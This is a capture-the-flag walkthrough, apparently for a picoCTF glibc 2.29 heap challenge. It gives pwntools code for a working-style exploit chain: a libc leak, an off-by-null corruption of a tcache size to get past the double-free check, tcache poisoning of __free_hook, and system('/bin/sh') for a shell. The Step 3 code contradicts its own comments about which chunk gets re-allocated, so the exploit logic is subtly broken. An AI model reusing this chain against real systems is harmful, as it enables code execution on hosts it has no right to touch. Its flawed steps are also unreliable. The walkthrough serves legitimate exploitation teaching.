Description
A heap menu challenge running on libc 2.29. You can add and remove power-up strings. The binary hands you a libc address at startup and contains a hidden win function. Exploit the heap to get code execution.
Setup
Download the binary and connect to the server.
wget <url>/zero_to_herochmod +x zero_to_heronc <HOST> <PORT_FROM_INSTANCE>Solution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1
Understand the binary and its bugsObservationI noticed the binary offered add and remove operations on heap strings without any apparent sanitization, which suggested reversing it in Ghidra to pinpoint how input is read and whether freed pointers are cleared before attempting any exploit.Open the binary in Ghidra or GDB. The menu has add, remove, and show operations on heap-allocated strings. Two bugs are present: (1) the delete option frees the chunk but leaves the pointer intact, creating a use-after-free condition. (2) The add option null-terminates user input by writing a zero one byte past the last byte written, so filling a chunk of size N exactly causes the first byte of the next chunk's size field to become 0x00. This is an off-by-null (also called off-by-one null byte) overflow. The binary also prints the address of system() at startup, giving a direct libc leak.bashchecksec zero_to_herobashghidra zero_to_hero &bashstrings zero_to_hero | grep -i flagWhat didn't work first
Tried: Run strings to find the flag or the win function address directly in the binary.
strings will show string literals baked into the binary, but the flag is not stored there - it lives on the remote server. The win function address also changes with ASLR each run, so reading it statically from strings gives a file-offset, not a runtime address you can jump to without a leak.
Tried: Assume the off-by-one writes a full byte of arbitrary value, not just a null byte.
The bug is specifically an off-by-null: the terminator is always 0x00. Only the low byte of the next chunk's size field can be zeroed, which narrows the corruption to reducing the recorded size. An arbitrary one-byte write would be a far stronger primitive and would require a different exploit path.
Learn more
Off-by-null explained. When C code does
buf[len] = '\0'after readinglenbytes into a buffer of exactlylenbytes, the null terminator lands one byte past the allocation. On the heap that byte is typically the low byte of the following chunk's size field. Changing it to zero truncates the size, which causes the allocator to mis-classify the chunk into a smaller bin.Libc 2.29 tcache double-free protection. Starting in glibc 2.29,
tcache_entrystores akeyfield equal to the address of the tcache struct. When a chunk is freed, the allocator checks whether that field already equals the tcache address and aborts if so, preventing a naive double-free. The poison-null-byte trick bypasses this by making the same physical chunk appear to have two different sizes, so it lands in two separate tcache bins and the key check never fires.Step 2
Leak libc base from the startup messageObservationI noticed the binary prints a hexadecimal address labeled 'Take this:' at startup, which suggested it was intentionally leaking a libc symbol address and that subtracting the known offset of system() from the provided libc.so.6 would give us the randomized libc base.Connect to the remote and read the first line. It contains a hexadecimal address of system(). Subtract the offset of system in the provided libc to compute libc_base. Then derive the addresses of __free_hook and system for later use.pythonpython3 << 'EOF' from pwn import * elf = ELF('./zero_to_hero') libc = ELF('./libc.so.6') # libc provided with the challenge p = remote('<HOST>', <PORT_FROM_INSTANCE>) # Binary prints: "It's dangerous to go alone. Take this: 0x<addr>" p.recvuntil(b'Take this: ') system_leak = int(p.recvline().strip(), 16) libc.address = system_leak - libc.sym['system'] log.info(f'libc base: {hex(libc.address)}') free_hook = libc.sym['__free_hook'] system = libc.sym['system'] EOFWhat didn't work first
Tried: Compute libc base by subtracting the offset of system from a libc you download yourself rather than the one bundled with the challenge.
Different libc builds have different symbol offsets even for the same glibc version. Using the wrong libc binary will give a libc_base that is off by a constant, making every derived address (including __free_hook) land in unmapped memory and causing a segfault on the first dereference. Always use the exact libc.so.6 provided with the challenge.
Tried: Skip reading the leak and instead brute-force libc base by trying common load addresses.
With ASLR enabled, the libc base is randomized across a 28-bit window (about 268 million possibilities on 64-bit Linux). Brute-forcing that over a network connection would take far too long. The binary intentionally prints the system address so you should parse it directly.
Learn more
Why libc base randomizes. ASLR randomizes the load address of every shared library at each process launch. Because all symbols inside the library are at fixed offsets from that base, one leaked pointer is enough to anchor the entire address space of libc.
__free_hook. Glibc exposes a function pointer called
__free_hookin a writable data segment. When set to a non-null value, every call tofree(ptr)is redirected to__free_hook(ptr)before the allocator logic runs. Writingsystemthere and freeing a chunk containing"/bin/sh"therefore callssystem("/bin/sh").Step 3
Corrupt a chunk size with the off-by-null to set up a double-freeObservationI noticed the input reader null-terminates one byte past the requested allocation size, which suggested filling a chunk of exactly 0x108 bytes would overwrite the low byte of the adjacent chunk's size field from 0x10 to 0x00 and place it in a different tcache bin, bypassing the libc 2.29 double-free key check.Allocate chunk A of size 0x108 (stored as 0x110 with metadata) and chunk B of size 0x108. Free chunk B so it enters the 0x110 tcache bin. Fill chunk A with exactly 0x108 bytes; the null terminator writes 0x00 over the low byte of chunk B's size field, changing 0x110 to 0x100. Now free chunk B a second time. Because the size byte says 0x100, tcache places it in the 0x100 bin without triggering the double-free check (it already lived in the 0x110 bin). Chunk B now exists simultaneously in both the 0x100 and 0x110 tcache lists.python# Helper functions (add/remove wrap the menu) def add(p, size, data): p.sendlineafter(b'> ', b'1') p.sendlineafter(b'size: ', str(size).encode()) p.sendafter(b'power: ', data) def remove(p, idx): p.sendlineafter(b'> ', b'2') p.sendlineafter(b'index: ', str(idx).encode()) # Stage: create the double-free condition add(p, 0x108, b'A' * 8) # chunk 0 (small, placeholder) add(p, 0x108, b'B' * 8) # chunk 1 -- will be corrupted remove(p, 1) # free chunk 1 -> 0x110 tcache bin # Fill chunk 0 to the brim; null terminator hits chunk 1's size byte add(p, 0x108, b'C' * 0x108) # re-allocates chunk 0, overwrites size remove(p, 1) # free chunk 1 again -> 0x100 tcache binWhat didn't work first
Tried: Attempt a straightforward double-free without the off-by-null step, expecting the chunk to appear twice in the same tcache bin.
Libc 2.29 added a key field to tcache_entry that is set to the address of the tcache struct on free. When the allocator frees a chunk it checks whether key already equals that address and calls abort() if so. Simply freeing the same chunk twice in the same bin triggers this check and crashes the process. The off-by-null is needed to land the second free in a different bin (0x100 vs 0x110) so the key comparison never fires.
Tried: Use chunk sizes of 0x10 bytes instead of 0x108 to make the corruption easier to reason about.
Very small allocations go into a different size class where the low byte of the size field may already be 0x00, so zeroing it has no effect on bin selection. The sizes in the exploit are chosen so that the target chunk's stored size has a non-zero low byte (0x10 in 0x110) that becomes 0x00, moving it from the 0x110 bin to the 0x100 bin. The size difference must span at least one tcache size class.
Learn more
Tcache bin selection. The tcache is an array of 64 singly-linked lists, each corresponding to a chunk size class (0x20, 0x30, ... 0x410). The bin index is computed from the chunk's recorded size field. By changing the size byte from 0x10 to 0x00 (i.e. the overall size from 0x110 to 0x100), the allocator routes the second free into a different bin, so the duplicate-detection key comparison is never triggered.
Step 4
Tcache poisoning: overwrite __free_hookObservationI noticed that chunk B now existed simultaneously in the 0x100 and 0x110 tcache bins, which suggested writing __free_hook's address as the fd pointer on the first re-allocation so that a subsequent malloc from the 0x100 bin would return __free_hook as a writable allocation for us to overwrite with system().Allocate from the 0x100 bin to get chunk B back and write the address of __free_hook as its fd (forward pointer). Then allocate from the 0x110 bin to get chunk B again. Now the 0x100 bin's head points to __free_hook. Allocate once more from the 0x100 bin; malloc returns the __free_hook address as a valid allocation. Write the address of system() into it. Finally, add a new chunk containing the string '/bin/sh\x00' and free it. free() checks __free_hook, finds system, and calls system('/bin/sh').bash# Tcache poisoning + __free_hook overwrite add(p, 0xf8, p64(free_hook)) # chunk B (0x100 bin): poison fd -> __free_hook add(p, 0x108, b'D' * 8) # drain 0x110 bin (returns chunk B again) add(p, 0xf8, b'E' * 8) # advance 0x100 head past chunk B add(p, 0xf8, p64(system)) # next alloc returns __free_hook; write system() # Trigger: free a chunk whose data is "/bin/sh" add(p, 0x20, b'/bin/sh\x00') remove(p, <idx_of_binsh_chunk>) # free -> __free_hook(ptr) -> system("/bin/sh") p.interactive()Expected output
picoCTF{i_th0ught_2.29_f1x3d_d0ubl3_fr33?_...}What didn't work first
Tried: Overwrite a GOT entry for free() instead of __free_hook to redirect execution to system().
The binary is compiled with full RELRO, which remaps the GOT as read-only after dynamic linking completes. Attempting to write to a GOT address causes a segfault immediately. __free_hook is the correct target because it lives in a writable libc data segment that is not protected by RELRO.
Tried: Write system() directly into the fd slot of the poisoned chunk and skip the separate __free_hook allocation step.
The fd field is a pointer to the next free chunk in the tcache list. malloc returns addresses taken from fd, not the value stored in fd. Writing system() as the fd makes malloc try to return system()'s code page as a heap allocation, which will likely fault or return a non-writable address. The correct sequence is: poison fd with __free_hook's address, let malloc return a writable allocation at __free_hook, then write system() into that allocation.
Learn more
Why tcache has no integrity checks on fd. The tcache implementation in glibc does not validate that a chunk's forward pointer points into the heap. It simply returns whatever address is stored there on the next
malloccall of the matching size. This makes tcache poisoning trivially powerful: one write to an fd field gives arbitrary allocation anywhere in the process address space, including writable libc data like__free_hook.__free_hook as the write target. Overwriting a GOT entry would also work on a non-full-RELRO binary, but
__free_hookis a canonical target because it lives in a known writable libc region, it fires on anyfree(), and the argument passed to the hook is exactly the pointer being freed, so controlling the chunk content means controlling the argument to system().
Interactive tools
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
Flag
Reveal flag
picoCTF{i_th0ught_2.29_f1x3d_d0ubl3_fr33?_...}
The flag hash suffix varies per instance. The technique is: off-by-null corrupts a tcache chunk size to bypass the double-free check in libc 2.29, enabling tcache poisoning to overwrite __free_hook with system(), then freeing a '/bin/sh' chunk for shell access.